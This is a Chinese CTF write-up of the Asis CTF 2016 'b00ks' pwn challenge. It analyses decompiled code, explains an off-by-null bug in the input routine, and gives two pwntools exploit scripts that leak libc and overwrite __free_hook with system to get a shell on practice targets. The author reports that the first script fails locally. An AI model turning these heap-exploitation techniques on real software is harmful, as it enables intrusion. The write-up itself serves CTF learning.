静态分析
程序的功能是一个经典的图书管理程序,增删查改功能都有
welcome
__int64 sub_A89()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h] BYREF
v1 = -1;
puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
puts("6. Exit");
printf("> ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 6 && v1 > 0 )
result = (unsigned int)v1;
else
result = 0xFFFFFFFFLL;
return result;
}
main 主要实现的就是一个选择功能,比较坑的一个地方就是如果输入的不是数字就会刷屏,不过后面其实可以通过这个 bug 判断 exp 哪里出了问题 为了方便阅读我把函数名改了一下
main
__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
sub_A77();
change();
while ( 1 )
{
v5 = sub_A89();
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
create();
break;
case 2:
delete(v3);
break;
case 3:
edit(v3);
break;
case 4:
print(v3);
break;
case 5:
change();
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
先讲讲调用频率很高的程序自己实现的 read
值得注意的是边界条件i == a2
实际上循环了a2 + 1
次,这使得我们可以溢出一个字节引发 off_by_one(实际上由于溢出的字符必然是 \x00,所以这里其实是 off_by_null)
readbuf
__int64 __fastcall readbuf(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == 10 )
break;
++a1;
if ( i == a2 ) // 0 - a2 -> off by one
break;
}
*a1 = 0;
return 0LL;
}
初始化/更改作者名
readbuf 的漏洞使得我们可以多输入一个 \x00 覆盖后面的内存,这也是这题的第一个关键
change
__int64 change()
{
printf("Enter author name: ");
if ( !(unsigned int)readbuf(off_202018, 32) ) // off_202018大小为32字节,此处溢出一字节/x00
return 0LL;
printf("fail to read author_name");
return 1LL;
}
创建书本
创建的时候由我们自己输入 malloc 的大小,book 结构体被存放在 off_202010 指向的内存中
结构体包含 ID、书名指针、描述指针和大小,这里的两个指针是我们漏洞利用的关键所在
create
__int64 create()
{
int size; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+4h] [rbp-1Ch]
void *v3; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
void *description; // [rsp+18h] [rbp-8h]
size = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
ptr = malloc(size);
if ( !ptr )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)readbuf(ptr, size - 1) ) // read name
{
printf("fail to read name");
goto LABEL_17;
}
size = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
description = malloc(size);
if ( description )
{
printf("Enter book description: ");
if ( (unsigned int)readbuf(description, size - 1) )// read description
{
printf("Unable to read description");
}
else
{
v2 = sub_B24(); // 查看ID是否已存在,不存在则返回V2
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
v3 = malloc(0x20uLL); // malloc(0x20)用于存放描述
if ( v3 )
{
*((_DWORD *)v3 + 6) = size; // size
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = description; // *description
*((_QWORD *)v3 + 1) = ptr; // *name
*(_DWORD *)v3 = ++unk_202024; // ID
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( ptr )
free(ptr);
if ( description )
free(description);
if ( v3 )
free(v3);
return 1LL;
}
编辑书本描述
通过访问 book 结构体中的描述指针来实现修改
edit
__int64 edit()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!");
}
else
{
printf("Enter new book description: ");
if ( !(unsigned int)readbuf(
*(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
*(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id");
}
return 1LL;
}
打印所有书本信息
int print()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)off_202010 + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)off_202010 + i));
printf("Name: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 8LL));
printf("Description: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
}
}
return v0;
}
删除书本
依次 free 掉书名、描述和 book 结构体
delete
__int64 delete()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));// free *name
free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));// free *description
free(*((void **)off_202010 + i)); // free ID
*((_QWORD *)off_202010 + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!");
}
else
{
printf("Wrong id");
}
return 1LL;
}
动态调试
程序开了 ASLR,方便调试起见我们先暂时关闭它
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
前面我们得出结论,在输入用户名时输入长度恰为 32 时会覆盖掉后面一个字节,现在来验证一下


3730 是 book1 结构体的地址,可以看到其地址被 \x00 覆盖为 3700,十分巧合的是这两个地址距离非常相近
再进去看看及结构体的构造,和源码一致:ID、*name、*description

此时我们改名后再 edit book1 就可以访问到 3700 这片内存了 我们在这里伪造一个 fake book1,让它的 *description 指向 book2 结构体存放 *description 的位置,这样做有很多用途:
- print 的时候会泄露出 book2 结构体内部的指针地址,进一步泄露出更多关键的地址信息
- edit fake book1 的时候实际上就是在改这个指针
- 此时再 edit book2 就意味着我们已经完成了任意地址读写
那么下一步我们要做的就是获取 libc 的地址了,要怎么做呢?
我们知道,当 malloc 申请的内存大到某个值时,ptmalloc 会使用 brk 或 mmap 来分配内存并映射到虚拟内存中,而 libc 和 mmap 的偏移是固定的
于是我们可以申请一个大区块使之被分配到 mmap,然后重施故技泄露其地址,并在本地调试查看 libc 的地址以算出这个固定偏移,这样一来就可以通过靶机泄露的信息计算出 libc 的地址了
至于这个大区块要多大就需要自行调试了,这里是 0x21000
0x7ffff7d84000 就是 libc 的基地址了(网上的文章说有执行权限的那段才是基址,但我具体调试时发现并不需要关心执行权限,这可能和环境有关)
值得注意的是,这样做就注定了方法过于依赖环境,泛用性很低

获得 libc 地址后我们的下一步思考如何 getshell 这里和以往熟悉的 stack overflow 不同,我们无法通过劫持 retn addr 来篡改执行流
经过查询后我发现大家使用的是堆相关的几个 hook :__malloc_hook、__free_hook 这两个 hook 是内存里的一小段空白,当空白被写入一个地址后,在 malloc、free 时就会执行 hook 函数
例如我们篡改 free hook 为 system,那么当我们在 free 掉一块值为 我们通过前面获得的任意地址写将 __free_hook 劫持为 shellcode 的地址就能 getshell 了

最后需要解决的是 shellcode 可以用 one_gadget 查找,也可以自己写 shellcode,任意地址写的权限任君发挥
exp1
from pwn import *
context.log_level = 'debug'
bin = ELF('b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')
io = process('./b00ks')
# io = remote('127.0.0.1', 2333)
# io = remote('node4.buuoj.cn',29885)
def createbook(name_size, name, des_size, des):
io.readuntil('> ')
io.sendline('1')
io.readuntil(': ')
io.sendline(str(name_size))
io.readuntil(': ')
io.sendline(name)
io.readuntil(': ')
io.sendline(str(des_size))
io.readuntil(': ')
io.sendline(des)
def printbook(id):
io.readuntil('> ')
io.sendline('4')
io.readuntil(': ')
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(': ')
book_name = io.readline()[:-1]
io.readuntil(': ')
book_des = io.readline()[:-1]
io.readuntil(': ')
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def createname(name):
io.readuntil('name: ')
io.sendline(name)
def changename(name):
io.readuntil('> ')
io.sendline('5')
io.readuntil(': ')
io.sendline(name)
def editbook(book_id, new_des):
io.readuntil('> ')
io.sendline('3')
io.readuntil(': ')
io.sendline(str(book_id))# writeline
io.readuntil(': ')
io.sendline(new_des)
def deletebook(book_id):
io.readuntil('> ')
io.sendline('2')
log.success('success send 2')
io.readuntil(': ')
log.success('success read')
io.sendline(str(book_id))
log.success('success send id')
createname('a'*32)
createbook(0x40, 'b'*8, 32, 'c'*8)
createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')
book_id, book_name, book_des, book_author = printbook(1)
book_1_addr = u64(book_author[32:32+6].ljust(8, b'\x00'))
log.success('book_1_addr: ' + hex(book_1_addr))
payload = p64(1) + p64(book_1_addr + 0x38) + p64(book_1_addr + 0x40) + p64(0xffff)
editbook(1, payload)
changename('a'*32) # 至此,我们已经可以通过edit1指定地址、edit2写地址完成任意地址写
book_id, book_name, book_des, book_author = printbook(1)
book_2_name_addr = u64(book_name.ljust(8, b'\x00'))
book_2_des_addr = u64(book_des.ljust(8, b'\x00'))
log.success('book2_name_addr: ' + hex(book_2_name_addr))
log.success('book2_des_addr: ' + hex(book_2_des_addr))
#
libc_base = book_2_des_addr + (0x7ffff7d84000 - 0x7ffff7d3d010)
log.success('libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
realloc_hook = libc_base + libc.symbols['__realloc_hook']
log.success('free_hook: ' + hex(free_hook))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('malloc_hook: ' + hex(malloc_hook))
gadget = libc_base + 0xebcf1 # 0xebcf1 0xebcf5 0xebcf8 0x50a37
system = libc_base + libc.symbols['system']
evecve = libc_base + libc.symbols['execve']
binsh = libc_base + next(libc.search(b'/bin/sh'))
log.success('gadget: ' + hex(gadget))
log.success('system: ' + hex(system))
log.success('binsh: ' + hex(binsh))
editbook(1, p64(book_2_name_addr))
# editbook(2, p64(binsh))
editbook(2, b'/bin/sh\x00')
editbook(1, p64(free_hook))
editbook(2, p64(system)*2)
# editbook(2, p64(gadget) + b'\x00'*2)
# gdb.attach(io)
editbook(1, p64(book_2_des_addr))
editbook(2, b'/bin/sh\x00')
log.success('addr: ', hex(book_2_name_addr))
createbook(0x20, '/bin/sh\x00', 0x20, '/bin/sh\x00')
# editbook(1, p64(book_2_des_addr))
gdb.attach(io)
log.success('edit success')
deletebook(2)
deletebook(3)
io.interactive()
这里好多种都尝试了,网上的师傅都成功了,但即使调试证明篡改 hook 和传参都成功了也依旧无法执行 hook 函数,百思不得其解
但是这也说明这个方法本身并不具有泛用性最好另寻他法
附个链接:好好说话之off-by-one
PS:好好说话这个系列很不错
exp2
网上找了一大堆 wp 一个一个试,最终只有这个能成功打通 docker 靶机和 BUU 的靶机(本地还是打不通)
但原 wp 有很多细节并没有解释,所以这是一个充斥了大很多 magic number 的 wp,这里仅介绍我读得懂的部分
附个原文地址:[Asis CTF 2016] b00ks —— Off-By-One利用与思考
from pwn import *
p=remote("127.0.0.1",2333)
# p = remote('node4.buuoj.cn', 29448)
# p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})
# p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF("./libc.so.6")
# libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def add(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)
def delete(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))
def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)
def show():
p.sendlineafter('> ','4')
def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)
p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print ('heap_addr-->'+hex(heap_addr))
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
# 0x30为一个struct的大小
# 0x180是原book1的name与book3的name之间的偏移
# 0x50不清楚是什么,但不允许改动
change('a'*0x20)
show()
main_arena = libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('unsorted bin: ', hex(main_arena))
libc_base = main_arena-88-0x10-libc.symbols['__malloc_hook']
# 调试发现__malloc_hook与libc基地址在Ubuntu16中是紧贴着的,其偏移量就是0x10
# __malloc_hook = libc_base+libc.symbols['__malloc_hook']
# realloc = libc_base+libc.symbols['realloc']
print ('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(1,p64(__free_hook)+b'\x00'*2+b'\x20')
print ('__free_hook-->'+hex(__free_hook))
edit(3,p64(system))
delete(3)
p.interactive()
这份 exp 的前面的思路大同小异,不同的地方在于泄露 libc 地址的方式
这里采用了利用 unsorted bin 中第一个 chunk 的 fd 指针来泄露 libc 地址,这个 fd 指针指向 main arena 中的某个位置,调试发现这里是 <main_arean + 88>,所以得到偏移量 88(新姿势GET 通过unsorted bin泄露libc地址 与 fastbin double free)
程序在 free 后并没有将指针置为 null,这就给了我们泄露 fd 指针的机会了
这种方法显然具有更高的泛用性(虽然仍是仅限于 Ubuntu16)
Comments 2 条评论
教教我